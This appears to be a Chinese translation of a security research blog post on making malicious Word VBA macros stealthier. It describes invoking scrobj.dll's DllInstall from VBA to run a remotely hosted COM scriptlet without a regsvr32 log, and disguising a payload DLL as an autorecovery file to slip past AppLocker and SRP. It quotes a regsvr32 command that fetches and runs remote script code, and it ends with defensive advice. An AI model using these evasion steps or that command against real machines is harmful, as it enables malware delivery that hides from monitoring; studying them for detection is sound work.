在VBA中使用DLL改善宏的攻擊功能

最近對在VBA中使用DLL的大量研究主要集中在如何將shellcode注入到當前運行的進程這一部分，本文就是基於這些研究，向大家展示在VBA中使用DLL改善宏的攻擊功能。

大致的改善過程分以下2個階段：

1.使用已經存在於磁碟上的DLL，執行regsvr32命令，

2.使用已經存在於磁碟上的DLL， 模擬已經存儲到磁碟的合法文件的Office程序。

沒有regsvr32的遠程COM Scriptlets

研究人員Casey Smith所發現的繞過應用程序白名單的其中一項技術就是利用Microsoft簽名的二進位regsvr32， regsvr32用於註冊和註銷OLE控制項（例如，DLL和ActiveX）。

譯者註：2016年，研究人員Casey Smith通過解析Windows系統，在AppLocker這一安全保障工具中發現了漏洞。如果命令Regsvr32指向一個遠程託管文件，將會獲得所有應用程序的系統運行許可權。

總之，regsvr32可以通過HTTP檢索遠程託管的COM腳本，這其中就包含在註冊或註銷時執行的代碼。 但regsvr32的一個奇怪之處就在於可以同時執行註冊和註銷，因此在regsvr32退出後不會再註冊。

由於regsvr32是Microsoft簽名的二進位文件，可用於繞過應用程序白名單。在Casey Smith的方法中，所使用的regsvr32的命令如下：

regsvr32 /s /n /u /i:http://someinconspicuoussite.com/file.sct scrobj.dll

regsvr32的「/ u / i：...」標誌表示在名為DllInstall（「/ i」）的scrobj.dll中調用導出的DLL函數，然後取消註冊（「/ u」）。對於其中的兩個標誌，我們要注意的是，首先DllInstall與比較常用的DllRegisterServer不同。雖然它們兩個在功能上非常相似，但是DllInstall能夠將一個指向「/ i」參數的字元串的指針作為參數，並啟用自定義地註冊功能。在scrobj.dll的環境下，此字元串可以指向包含COM scriptlet的HTTP資源。除此之外，此命令的註銷組件涉及在調用DllInstall時將布爾參數簡單地設置為false，並將其函數的上下文更改為「uninstall"」。因此，regsvr32僅用作調用DLL中的導出函數的前端。

我們可以在VBA中找到一個函數，該函數可以映射到scrobj.dll中的導出的DllInstall函數，我們可以模仿regsvr32的功能，導出的DllInstall函數需要兩個參數：false（卸載過的）和指向具有COM Scriplet的URL字元串的指針。

我們可以從上圖中看到命令已經執行了，不過最重要的一點是，該執行過程沒有使用regsvr32的命令行事件日誌，因為它不會被執行。而這正是攻擊者最理想的攻擊方式，因為對於安全監測來說，包含遠程資源參數的regsvr32的事件日誌是發現惡意活動的明顯指標。

但光有第一階段顯然是不行的，攻擊者還需要進入第二階段的操作過程，以產生新進程或注入到現有進程，否則任何C2通道都將在Office程序關閉後立即丟失。雖然這個過程是不可避免的，但我們可以盡量控制一下，例如，在Cobalt Strike中的標準regsvr32有效載荷內，我們可以直接在VBA函數調用中使用。

將DLL存儲在合法的Office文件中

將文件放在磁碟上會增加檢測的風險，因為這些文件通常在創建的過程通常會有異常的操作，然而，使用VBA可以創建和交互一個DLL，這樣異常的Office程序就看起來合法了。可以這麼說，這一過程能否成功地實現是整個第二階段成敗的關鍵。

首先，應該將DLL存儲在Office程序進程將創建文件的位置，在下面的案例中，Word宏用於存儲自動恢復文件的DLL（「％appdata％ Microsoft Word」）。這些文件是在Word崩潰時創建的。然而，更重要的是，這裡存儲的文件應該使用與自動恢復文件相同的文件名和擴展名，例如，自動恢復文件名為Document3.asd，則存儲的文件也應該是Document3.asd。我們可以以這種方式命名文件，因為Word不會將DLL的有效擴展名列入白名單。

其次，與自定義DLL進行交互是有問題的，因為在模塊的開頭定義時，VBA會將映射到DLL中的導出函數，定義在最前面，並且DLL必須在規定的時間內定義完畢，否則VBA代碼本身就會存儲到磁碟上。我們可以使用包含定義的第二個VBA模塊來解決這個問題。在第一個模塊創建完DLL後，然後就可以調用第二個模塊中的一個子常式，該子程序可以訪問導出的DLL函數。其中我們要解決的主要問題就是從位於一般的路徑之外的位置載入DLL。當在函數定義中引用存儲的DLL時，我們還無法指定具體的路徑，因為我們還不知道目標受害者的用戶名，並且該路徑還不能包含環境變數（例如「％appdata％」）。因此，我們就必須將文件名指定為當前工作目錄中的文件名，而不是存儲目錄的文件名。為了解決這個問題，我們會使用一個VBA函數來修改VBA的路徑，該路徑是可以接受環境變數的。這會在第一個模塊中調用，修改的運行路徑會在第二個模塊被調用時仍然存在，最後可以在需要時以標準搜索路徑的方式載入DLL了。

簡單歸納起來就是，第一個模塊會檢索並將DLL存儲到具有模擬文件的文件名和非DLL擴展名的磁碟上，等該文件創建後，就可以將VBA的當前工作目錄更改為存儲DLL的位置。下面的案例就顯示Word是如何通過HTTP來檢索文件的。它可以包含在VBA本身，但是為了簡化代碼，到達測試目的，我們這裡就把它簡單描述為通過HTTP。

第二個模塊是從DLL調用導出函數的模塊，修改以後的當前工作目錄會被轉移到第二個模塊中，並且引用DLL而不指定絕對路徑。子程序可以調用導出的函數，如下圖中的「run」。

在上面的案例中，我們通過使用「run」找到一種使Unmanaged PowerShell通過VBA運行的方法，但是在導出的函數中，DLL可以包含任何有效載荷。

還應該注意的是，軟體限制策略（SRP）和AppLocker的「DLL規則」與默認規則集都不會對該攻擊具有防禦作用。 SRP是基於黑名單的文件擴展名，AppLocker的「DLL規則」則僅限於兩個文件擴展名（「.dll」和「.ocx」）。在SRP的環境下，如果不破壞自動恢復功能，則無法阻止此方法的攻擊行為，而在AppLocker的環境下，該方法下所使用的擴展名根本就不在「DLL規則」的文件名列表裡。

防禦措施

儘管本文所講述的這種繞過技術，能讓攻擊者在攻擊時被檢測到，但這並不代表就沒有辦法來進行安全防護。

從端點的保護角度來看，命令行事件日誌仍然很重要。雖然，本文所介紹的第一種技術可以繞過對異常regsvr32的檢測，但在第二階段內，攻擊者的活動還是會留下許多操作痕迹的。此外，部署具有強大內存分析功能的端點檢測和響應（EDR）解決方案將有助於檢測使用諸如DLL注入等技術在其他進程中持久化的有效載荷。

從網路防禦的角度來看，只要我們有了深度的數據包檢測，同樣也可以檢測出本文所講的這種攻擊， 例如，雖然COM腳本沒有標準的「.sct」擴展名，但是可以使用常見的擴展名來替代，例如就可以把「.ico」作為Favicon映像，而在第二階段中下載DLL時，也可以使用「.js」 作為JavaScript的文件名。

本文翻譯自

https://labs.mwrinfosecurity.com/blog/dll-tricks-with-vba-to-improve-offensive-macro-capability/

喜歡這篇文章嗎？立刻分享出去讓更多人知道吧！